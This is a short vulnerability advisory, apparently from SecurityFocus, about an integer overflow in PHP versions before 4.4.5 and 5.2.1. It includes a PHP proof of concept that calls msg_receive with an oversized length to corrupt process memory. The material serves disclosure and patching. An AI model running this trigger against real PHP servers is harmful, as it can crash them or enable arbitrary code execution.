source: http://www.securityfocus.com/bid/23236/info

PHP is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun. Attackers may exploit this issue to cause a buffer overflow and to corrupt process memory.

Exploiting this issue may allow attackers to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will likely result in a denial-of-service condition.

This issue affects PHP versions prior to 4.4.5 and 5.2.1. 

<?php

  $MSGKEY = 519052;

  $msg_id = msg_get_queue ($MSGKEY, 0600);

  if (!msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err))
    echo "Msg not sent because $msg_err\n";

  if (msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
    echo "$msg\n";
  } else {
    echo "Received $msg_error fetching message\n";
    break;
  }

  msg_remove_queue ($msg_id);

?>